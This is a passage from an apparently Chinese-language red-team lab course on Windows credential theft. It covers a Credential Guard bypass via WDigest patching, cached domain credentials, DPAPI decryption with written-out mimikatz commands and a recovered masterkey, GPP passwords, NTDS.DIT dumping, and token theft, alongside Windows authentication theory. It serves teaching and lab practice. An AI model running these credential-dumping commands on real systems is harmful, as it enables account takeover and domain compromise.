即使攻击者在操作系统中获得内核级的代码执行，他们仍然需要通过攻击 Hypervisor 或安全虚拟机来实现逃逸，这就是基于虚拟化技术的安全性相关的话题了。

小节开始说了，开启凭据保护的主机会有 2 个进程。LSAIso 进程将在安全虚拟机中运行，而 LSASS 和 LSAIso 可以通过高级本地过程调用 (ALPC) 进行通信。当 LSASS 进程想要保护一个秘密时，它可以调用 LSAIso 来加密它，然后将加密的秘密返回过来。理想情况下，只有 LSAIso 应该能够解密。一旦 NTLM 哈希受到保护，LSASS 进程仅持有一个隔离后的密文 (加密的 blob)。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/Ue8NhXYTiz1BU12w-image.png)](http://raven-medicine.com/uploads/images/gallery/2022-10/Ue8NhXYTiz1BU12w-image.png)

如上图所示，LSAIso 进程具有 NTLM 支持。 当 LSASS 进程想要对加密的机密执行 NTLM 操作时，它可以调用 LSAIso 进程中的各种方法来执行操作。值得一提的是，LSAIso 没有网络访问权限。因此，即使 LSAIso 可以执行 NTLM 操作，LSASS 进程仍然负责执行操作前后的任何行为。例如，虽然 LSAIso 可以计算 NTLM 质询响应对，但 LSASS 负责接收和发送该对随机数。

对于开启了凭据保护的主机，使用 mimikatz 读取的凭证是这样的：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5jwlvvkQk7167Hlq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5jwlvvkQk7167Hlq-image.png)

在 2020 年，有个很有意思的绕过技巧。 **WDigest** 模块，即 **wdigest.dll**，具有 2 个全局变量分别是 **g\_IsCredGuardEnabled** 和 **g\_fParameter\_UseLogonCredential**。这 2 个变量的名字就很直观，凭据保护是否启用，以及明文凭证是否应该存储在内存之中。通过将这两个变量的值进行修改，我们可以让 WDigest 误以为凭据保护未被启用，并且保存明文密码于内存之中。因此，在补丁 WDigest 之后的认证都会在内存中留下明文凭证。所以，我们需要做的是找到这 2 个变量的位置。我们可以在 [https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240](https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240) 找到一个 PoC，但是变量的偏移是**硬编码**的。至于如何动态地找到变量偏移，属于更加高深的内容范围，不在此展开。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/jpMJNgYHiBi9jlQk-image.png)](http://raven-medicine.com/uploads/images/gallery/2022-10/jpMJNgYHiBi9jlQk-image.png)

以上方法的局限是，之后新认证的用户的凭证可以提取了，但之前的还是无法捕获。而工具 PassTheChallenge ([https://github.com/ly4k/PassTheChallenge](https://github.com/ly4k/PassTheChallenge)) 通过利用 LSAIso 进程的功能以及加密后的 NTLM 哈希来还原出 NTLM 哈希。背后的密码学或算法原理较为复杂，不详细展开。

# 域缓存凭证

当域用户曾经登陆过域主机，便会将凭证缓存下来，以防联系不上域控制器的时候也能实现本地登陆。一个实际的情景可以是，某员工携带着笔记本出差。域缓存凭证不能直接地用于认证，但是可以将其离线破解，尝试还原出明文密码。

我们之前在使用 Impacket 导出 LSA 机密的时候，发现了下图所标注出来的域缓存凭证。实际上，这些缓存凭证存在于 **HKLM\\SECURITY** 注册表 Hive。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/o5o0WVQpJHak5fIE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/o5o0WVQpJHak5fIE-image.png)

我们还可以通过 Mimikatz 的命令 **lsadump::cache** 来提取。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/WSDmMaF9O5PXUedU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/WSDmMaF9O5PXUedU-image.png)

但我们发现 mimikatz 提取出来的缓存凭证与 Impacket 提取出来的格式不同，我们需要手动将其转换成 **$DCC2$&lt;迭代数&gt;#&lt;用户名&gt;#&lt;哈希&gt;** 格式，然后再使用 hashcat 之类的工具离线破解。

# DPAPI 数据保护应用接口

DPAPI，即数据保护应用接口，是一个提供加解密数据块的 Windows组件。它使用与**指定用户或主机**绑定的密码学密钥并且允许原生 Windows 功能以及第三方应用来透明地保护/解除保护给用户的数据。DPAPI 被 **Windows 凭证管理器**所使用于储存保存的秘密，凭证管理器数据块存放于用户的 **AppData** 文件夹中。

那么，DPAPI 保护哪些呢？例如：

```
Internet Explorer、Google Chrome 中的密码和表单自动填充数据
Outlook、Windows Mail、Windows Mail 等中的电子邮件帐户密码。
共享文件夹和资源访问密码
无线网络帐户密钥和密码
Windows CardSpace 和 Windows Vault 中的加密密钥
远程桌面连接密码，.NET Passport
凭据管理器中的网络密码
使用 API 函数 CryptProtectData 以编程方式保护的任何应用程序中的个人数据。 例如，在 Skype、Windows Rights Management Services、Windows Media、MSN messenger、Google Talk 等
...
```

我们可以使用原生工具 **vaultcmd** 来列举 **AppData** 中的数据块

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/SZL5Od34lhCLrEYp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/SZL5Od34lhCLrEYp-image.png)

或者使用 **mimikatz** 中的 **vault::list** 命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/JLjVpj6K8bzW1UQd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/JLjVpj6K8bzW1UQd-image.png)

以及Seatbelt 中的 **WindowsVault 模块** 也可以枚举出：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/ZaciAH4AolMYkGMw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/ZaciAH4AolMYkGMw-image.png)

如果前往**控制面板 -&gt; 凭据管理器**，并且选择 **Windows 凭据**，我们会看到这些凭据是如何出现在用户面前的。而如果打开RDP，这些凭据会被自动填充。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/G1yexRwUyTy8KpZb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/G1yexRwUyTy8KpZb-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/MDuY7wYyc2IJ1Rb3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/MDuY7wYyc2IJ1Rb3-image.png)

**加密后的凭证文件**存在于 **C:\\Users\\username\\AppData\\Local\\Microsoft\\Credentials** 文件夹下。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/KRwL6fE0TVSrFJz3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/KRwL6fE0TVSrFJz3-image.png)

我们也可以使用 Seatbelt 的 **WindowsCredentialFiles 模块** 来列举：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/XgP4k7V7l4MSLUb6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/XgP4k7V7l4MSLUb6-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/FgMWP6p9ofvnsL7A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/FgMWP6p9ofvnsL7A-image.png)

为了解密这些凭证文件，我们需要找到**主加密密钥**，即 **MasterKey**。上图的输出我们能看到 MasterKey 的 **GUID**。而 MasterKey 文件存储在 **%APPDATA%\\Microsoft\\Protect\\{SID}** 目录下，其中 **{SID}** 是该用户的**安全标识符**，这些文件依旧是被加密的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/2VUMLAnjJYR7r4ck-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/2VUMLAnjJYR7r4ck-image.png)

只有解密 MasterKey 获得实际的 AES256/128 密钥后，我们方能使用该密钥解密凭证文件。有以下两种方法来解密：

##### **LSASS 注入**

当有本地管理员权限的时候并且密钥缓存 (近期访问或解密过凭证) 在 LSASS 中，我们可以通过mimikatz 的 !sekurlsa::dpapi 命令读取 MasterKey，注意与 GUID 的一一对应。我们得到的 MasterKey 为 **137c32458ea484baaa62214a46caec2b0a24d0f793275ac7cfc85cde5939a9ba084a1156c31cd262ae547c27be8d22f2dc34483dd0168957dc58438bc5750f9a**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/YJ6lkEcZTAS0bR47-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/YJ6lkEcZTAS0bR47-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/3UgDrnBXk5IJy8zc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/3UgDrnBXk5IJy8zc-image.png)

因为会与 LSASS 交互，所以会有 OPSEC 的风险。

##### **MS-BKRP**

MS-BKRP 是**微软备份密钥远程协议**，可用于向域控制器请求 MasterKey，不需要提升特权以及 LSASS 交互。这是为了以防用户修改或忘记密码，以及支持智能卡功能。

我们需要在目标用户的上下文中运行以下命令之一 (取决于是否知道明文密码)。

```
dpapi::masterkey /in:C:\users\<用户名>\AppData\Roaming\Microsoft\Protect\<用户SID>\<MasterKey GUID> /rpc
dpapi::masterkey /in:C:\users\<用户名>\AppData\Roaming\Microsoft\Protect\<用户SID>\<MasterKey GUID> /sid:<用户SID> /password:<密码> /protected
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/cJElYIDOZeDxynPg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/cJElYIDOZeDxynPg-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/3C67VyO2QvsfpolW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/3C67VyO2QvsfpolW-image.png)

在获得主密钥之后，就可以进行最终的解密了，我们可以通过如下的 mimikatz 的命令进行解密。

```
 mimikatz dpapi::cred /in:C:\Users\<用户>\AppData\Local\Microsoft\Credentials\<凭证文件> /masterkey:<MasterKey>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/5NWOE5SClNSDHigl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/5NWOE5SClNSDHigl-image.png)

我们之前发现 serveradm 的目录下有 3 个凭证文件，我们并不知道哪个平整文件是我们想要的，这没有关系，分别查看一下。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/WF9mA2mMFGsv0yXg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/WF9mA2mMFGsv0yXg-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Qvg2HrEA7YHyHhTR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Qvg2HrEA7YHyHhTR-image.png)

最终，我们获得了 serveradm 在 RDP 客户端中缓存的凭证，虽然 alice 的凭证我们已经之前知道了，但这是通过 DPAPI 得到的。此外，我们还知道了 Web02 上的 MSSQL sa 帐号的明文密码。

# GPP 密码

**注：本小节作为知识拓展，因为本 Lab 环境版本远高于 GPP 密码盛行的版本，因此尚未集成此内容。**

为了阻止针对**本地管理员密码**的攻击，Windows曾经引入了 组策略偏好 Group Policy Preferences，即中心化管理本地管理员的密码。其具体做法是将**加密后的密码**以 **XML** 文件的形式保存在所有域主机都可访问的 **SYSVOL**目录下。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/JnsejAnQZ86t2FDv-WxNimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/JnsejAnQZ86t2FDv-WxNimage.png)

XML 文件中保存的密码经过了 **AES-256** 加密的，然而微软之前意外地将 AES 私钥放在了 MSDN 上 ([https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN))。因此，我们可以用 Get-GPPPassword 脚本来解密以获得明文密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/RVj7grWywJU46Rom-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/RVj7grWywJU46Rom-image.png)

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/uUop4KpWdxs6VjSJ-dmWimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/uUop4KpWdxs6VjSJ-dmWimage.png)

在2014年，微软移除了该特性。尽管包含密码的 GPP文件不会再被创建，但我们依旧有可能找到过去遗留的文件并且从中获得明文密码。

# NTDS.DIT

**NTDS.DIT** 文件是域控制器上存储 AD 数据的数据库，包含了域内对象的所有信息，例如用户，组，计算机，以及其他对象。更重要的是，该文件还存储域中所有用户的密码哈希，包括域管理员的。该文件位于 **C:\\Windows\\NTDS\\ntds.dit**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/RrYkP0MPtKbG2ciM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/RrYkP0MPtKbG2ciM-image.png)

在获得特定权限后，我们可以通过以下方式利用：

##### **复制 NTDS.DIT 文件**

在获得了域管理员之后，我们可以在域控制器上复制 NTDS.DIT 文件。但是类似于复制 SAM 数据库，因为 NTDS.DIT 在被实时使用，因此是被锁定的状态。我们依旧可以通过**卷影拷贝技术**来获得 NTDS.DIT文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/H8CcTE0LUxWNdsC9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/H8CcTE0LUxWNdsC9-image.png)

下载 **C:\\Windows\\System32\\Config\\SYSTEM** 以及 **C:\\Windows\\NTDS\\ntds.dit**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/b1i8avM2gYlvjkMB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/b1i8avM2gYlvjkMB-image.png)

最后使用 Impacket 中的 secretdump 来离线解析

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/tFkxYHr7vvZ8UDTJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/tFkxYHr7vvZ8UDTJ-image.png)

##### **使用工具远程导出**

有了域管理员的凭证后，我们可以使用诸如 impacket 之类的工具通过 RPC 协议远程导出 NTDS.DIT 中的哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uV8euuIaySfnNBSn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uV8euuIaySfnNBSn-image.png)

# Windows 认证理论

我们在之前已经讨论了 NTLM 认证、Kerberos 认证、LSA 与 LSASS、SAM 等概念。在这小节，我们将对 Windows 认证理论做一个整合、归纳以及延伸。

*本章节所使用的原理示意图和部分理论来自 [https://attl4s.github.io/assets/pdf/Understanding\_Windows\_Lateral\_Movements\_2023.pdf](https://attl4s.github.io/assets/pdf/Understanding_Windows_Lateral_Movements_2023.pdf) 。*

## **Windows 认证类型与形式**

发生在 Windows 环境中的认证过程，可以是本地认证，以及域认证。

#### **本地认证**

本地认证，例如是使用本地账户登陆主机。我们对于个人用的主机进行登陆往往就是本地登陆。本地用户只存在于特定系统，即只有该系统才知道有哪些本地用户，例如 **SRV01\\David**。尽管系统与系统之间是互相独立的，但是不同的系统却可能有着相似甚至相同的帐号密码。例如 **SRV01\\David**，**SRV02\\David**。我们之前知道了本地系统的信息存储于 SAM 之中，当用户以本地账户认证的时候，Windows 会根据 SAM 中的记录验证凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/L5CyeSwieqxKryJr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/L5CyeSwieqxKryJr-image.png)

#### **域认证**

域认证，例如是员工通过分发的域账户登陆工作站并访问内部资源。总之，域认证与本地认证是不同的机制。域用户和群组呈现在具体的 AD 域中，所有的域系统， (或在受信任的域中) 知道如何应对认证，它们会将认证的流程委派给域控制器。域用户和主机数据存储于 NTDS (NT 目录服务) 数据库中，当有用户尝试认证，域控制器则根据记录来验证凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/JfDpjjMoX2bl5bIe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/JfDpjjMoX2bl5bIe-image.png)

而认证的形式，可以笼统地分为物理认证以及远程认证。

#### **物理认证**

当用户在电脑面前，输入凭证并登陆，那么这是物理认证，适用于本地用户和域用户，只要目标系统知道认证的帐号。在 AD 中，默认情况下，**任何域用户**可以物理登陆**任何域主机**。但是，绝大多数情况下，我们没有机会在目标的环境中实现物理登陆。

#### **远程认证**

与物理认证有所不同的是，默认情况下需要特定权限才能进行远程登陆，例如属于**本地管理员分组**，**远程桌面用户分组**。因此，我们应该关心的还是远程认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/lhbRE19QYJBafpog-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/lhbRE19QYJBafpog-image.png)

为了理解接下来的概念，我们需要对 Windows 认证机制很熟悉。

###   


## **Windows 认证重要概念**

#### **认证包/安全支持提供程序 AP/SSP**

虽然在前面的小节有讨论过了，让我们再回顾一下。AP/SSP 通过分析登陆数据来认证 Windows 用户，不同的 AP/SSP 对多种登陆过程以及认证协议提供支持。AP/SSP 以 **DLL** 形式存在，被 LSA 所加载和使用。常见的 AP/SSP 有 NTLM，Kerberos，WDigest，Credman 等。微软所提供的 AP 有 **CSSP**，**Microsoft Negotiate**，**Microsoft NTLM**，**Microsoft Kerberos**，**Microsoft Digest SSP**，以及 **Secure Channel**。

AP 提供了 Windows 充当客户端和认证服务器所需的逻辑。对于客户端，想要通过 Windows 认证连接到特定服务。对于服务器，想要让服务或应用程序支持 Windows 认证

#### **SSP 接口**

微软提供 SSP 接口以简单地将应用程序与认证系统无缝继承。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/DTKCEfZ9m13LLRo1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/DTKCEfZ9m13LLRo1-image.png)

SSPI 的作用主要有这些：**安全包管理**、**凭证管理**、**安全上下文管理**、**消息支持**。

#### **交互式登陆 vs 非交互式登陆**

本地认证与域认证、物理认证与远程认证，这样的分类还不够。认证还有**交互式**与**非交互式**之分。

交互式登陆，通常需要**指定明文凭证**，例如通过 **Windows 的登陆页面**进行认证。最重要的一点是用户凭证会缓存在 LSA 进程的内存中，为各个 AP 做准备。缓存的凭证还能让 Windows 给用户提供 SSO 体验。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/kxhDgHOcCFkDuZT0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/kxhDgHOcCFkDuZT0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/oWvMgQyADG5ps42L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/oWvMgQyADG5ps42L-image.png)

而非交互式认证，应用程序代表用户使用缓存的凭证，也就是非交互式认证只应在**交互式认证之后**发生，也就是**缓存凭证可用**时。一些应用通过 SSPI 来实现这些认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/IVpRquck7vE65Pgk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/IVpRquck7vE65Pgk-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/WAtRbvHwPangCayQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/WAtRbvHwPangCayQ-image.png)

#### **登陆会话**

登陆会话会在成功的认证之后创建，无论是物理认证、远程认证、域认证、本地认证、交互式登陆还是非交互式登陆。**AP 缓存的凭证**绑定在了**登陆会话**上。而在用户登出后结束。

当认证成功时，被选中的 AP 将执行这两个重要任务：**创建一个新的登陆会话**，以及**向 LSA 提供认证用户的安全信息**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uHTXLl1YkJ6dxSZk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uHTXLl1YkJ6dxSZk-image.png)

**LSA** 使用该信息创建**访问令牌**来代表用户在系统中的的**安全上下文**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/Aq2vGVh61IFzAF7p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/Aq2vGVh61IFzAF7p-image.png)

**通常来说**，登陆会话通常在交互式认证之后会有缓存的凭证，而非交互式的认证普遍会导致不缓存凭证的登陆会话。

#### **登陆类型**

在 Windows 中，所有的认证都应当作为以下登陆类型之一处理，无论是何种认证协议以及认证形式。

<table border="1" id="bkmrk-%E7%99%BB%E9%99%86%E7%B1%BB%E5%9E%8B-%E7%BC%96%E5%8F%B7-%E8%AE%A4%E8%AF%81%E5%BD%A2%E5%BC%8F-%E5%87%AD%E8%AF%81%E6%98%AF%E5%90%A6%E5%AD%98%E5%82%A8%E4%BA%8E" style="border-collapse: collapse; width: 100%; height: 236.8px;"><colgroup><col style="width: 12.4815%;"></col><col style="width: 12.4815%;"></col><col style="width: 24.9629%;"></col><col style="width: 24.9629%;"></col><col style="width: 24.9629%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**登陆类型**</td><td style="height: 29.6px;">**编号**</td><td style="height: 29.6px;">**认证形式**</td><td style="height: 29.6px;">**凭证是否存储于 LSA 中**</td><td style="height: 29.6px;">**案例**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">交互式</td><td style="height: 29.6px;">2</td><td style="height: 29.6px;">密码，智能卡，其他</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">物理登陆

runas

IIS 6 之前的基本认证

</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">网络</td><td style="height: 29.6px;">3</td><td style="height: 29.6px;">密码，NT 哈希，Kerberos 票据</td><td style="height: 29.6px;">否 (除非委派被启用)</td><td style="height: 29.6px;">NET USER

RPC 调用

远程注册表

集成 Windows 认证的 IIS

SQL Windows 认证

</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">批处理</td><td style="height: 29.6px;">4</td><td style="height: 29.6px;">存储于 LSA 机密中的密码</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">计划任务</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">服务</td><td style="height: 29.6px;">5</td><td style="height: 29.6px;">同上</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">Windows 服务</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">网络明文</td><td style="height: 29.6px;">8</td><td style="height: 29.6px;">密码</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">IIS 6 及之后的基本认证

带有 CredSSP 的 Windows PowerShell

</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">新凭证</td><td style="height: 29.6px;">9</td><td style="height: 29.6px;">密码</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">runas /network</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">远程交互式</td><td style="height: 29.6px;">10</td><td style="height: 29.6px;">密码，智能卡，其他</td><td style="height: 29.6px;">是</td><td style="height: 29.6px;">远程桌面</td></tr></tbody></table>

导入 Get-LogonSession.ps1 脚本 ([https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-LogonSession.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-LogonSession.ps1))。查看 Web02 目前的会话列表 (大家自己操作得到的结果可能有所不同)，仅筛选出 white-bird 域中的用户

```powershell
get-logonsession | where-object {$_.Domain -eq 'WHITE-BIRD'}|select UserName, LogonType, AuthenticationPackage
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/xmob5HpQYpMinxmT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/xmob5HpQYpMinxmT-image.png)

因为 Web02 设置了 serveradm 的自动登陆，那么 serveradm 的交互式登陆自然是预期之中的。而 Web02 上同样运行着 SQL 服务，服务账号是 sql\_service，因此服务登陆以及网络登陆同样是预期之中的。

#### **令牌**

当一个登陆会话被创建后，返回给 LSA 的信息被用于创建一个**访问令牌**。访问令牌是被保护的对象，它包含了一个认证用户的本地安全上下文。每个**访问令牌**被绑定给了一个**登陆会话**，访问令牌与进程或线程有关。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/tMZcOg9KvWfQq8WP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/tMZcOg9KvWfQq8WP-image.png)

访问令牌包含了用户与其上下文的重要数据：**用户 SID**、**用户组归属**、**特权列表**、**会话 ID**、**完整度等级**、**令牌类型**等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/iifjTNSxyOxv4jnp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/iifjTNSxyOxv4jnp-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qtHrb2l7MLVYReKg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qtHrb2l7MLVYReKg-image.png)

在 Windows 中，相同的用户可以有着不同的上下文，例如 UAC 区分了中等和高完整度等级。这是因为 Windows 允许相同用户在同一个系统中有着不同的访问令牌和登陆会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/qCg7wOgB0pANUO8Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/qCg7wOgB0pANUO8Z-image.png)

Windows 使用访问令牌实施访问控制决定。Windows 对象有着访问控制列表，访问这样的对象的进程或线程有着访问令牌，而令牌信息被拿来与对象的 DACL 进行比较从而决定是否允许访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/O70ps8s67Fi0whbb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/O70ps8s67Fi0whbb-image.png)

令牌的类型有**主要令牌**与**模仿令牌**。主要令牌又被称为**进程令牌**，每个进程都有关联的主要令牌，当有新的进程被创建，默认是**继承父进程的主要令牌**。

**模仿令牌**又被称为**线程令牌**，得以让一个线程运行在**与父进程所不同**的安全上下文中，通常用于客户端服务端的情景。当每个客户端连接到服务，新线程得以创建。正是因为模仿令牌，线程得以运行在不同客户端的上下文中，这使得服务可以通过 ACL 控制访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/LepqaworT57wPnVV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/LepqaworT57wPnVV-image.png)

支持 Windows 认证的服务执行被称为客户端模仿的操作。当一个客户端连接到服务，客户端的凭证会被验证，以这个客户端为安全上下文的访问令牌被创建，服务在新的线程中置入令牌的备份，进而该线程可以代表这个客户端，并且受 ACL 的限制。因为一些服务只需要客户端的部分信息，即不需要完全的模仿。根据服务的配置，模仿令牌可以有着不同的模仿等级：

SecurityAnonymous：**服务器不能模仿客户端的身份**

SecurityIdentification：**服务器可以获得客户端的身份和特权但不能模仿**

SecurityImpersonation：**服务器可以在本地主机上模仿用户的安全上下文**

SecurityDelegation：**服务器可以在远程主机上模仿用户的安全上下文**

### **用户模仿**

用户模仿即**创建**或**劫持**另一个用户的安全上下文以在网络中代表这个用户。创建一个安全上下文通常需要凭证，而劫持一个安全上下文则需要特权。用户模仿可以通过这些途径实现：**令牌操纵**、**密码**、**NT 哈希**、**Kerberos 票据**等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/4UE8CELvIXIQikQY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/4UE8CELvIXIQikQY-image.png)

请回顾跟登陆会话绑定的凭证，通常是交互式认证的产物。如果想通过使用一个令牌来访问网络资源，这个令牌必须与一个有着凭证的会话相关联。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/uHCKhOBLIxubbaqV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/uHCKhOBLIxubbaqV-image.png)

Windows API 提供了能用于操纵令牌的功能，例如**复制令牌**。但是，我们需要特权：**本地管理员或者 SYSTEM**，**服务账号** (土豆家族)。而低权限用户只能操纵自己的令牌。

**DuplicateTokenEx** API 可用于创建一个复制现有令牌的新访问令牌。

```c++
BOOL DuplicateTokenEx(
  [in]           HANDLE                       hExistingToken,
  [in]           DWORD                        dwDesiredAccess,
  [in, optional] LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]           SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  [in]           TOKEN_TYPE                   TokenType,
  [out]          PHANDLE                      phNewToken
);
```

如果是劫持一个已有令牌的方法，有着**令牌模仿**与**进程注入**的方法。前者**复制目标的令牌**并且将其用于已有进程或者新进程，后者将载荷注入到**目标令牌所寄居的进程**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/wfKY1ylbvSI4dDTb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/wfKY1ylbvSI4dDTb-image.png)

SharpToken ([https://github.com/BeichenDream/SharpToken](https://github.com/BeichenDream/SharpToken)) 是一款可以通过操纵令牌来实现用户模仿的工具，在 本地管理员或者 SYSTEM 权限下，我们可以列举所有可用令牌，并窃取想要的令牌。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/0KDd5Bt6u5u6vMej-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/0KDd5Bt6u5u6vMej-image.png)

Cobalt Strike 中的内置命令 **steal\_token** 也可实现令牌窃取

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/11vfYsMRQXEcRIfB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/11vfYsMRQXEcRIfB-image.png)

而通过**进程注入实**现令牌劫持的流程图如下：

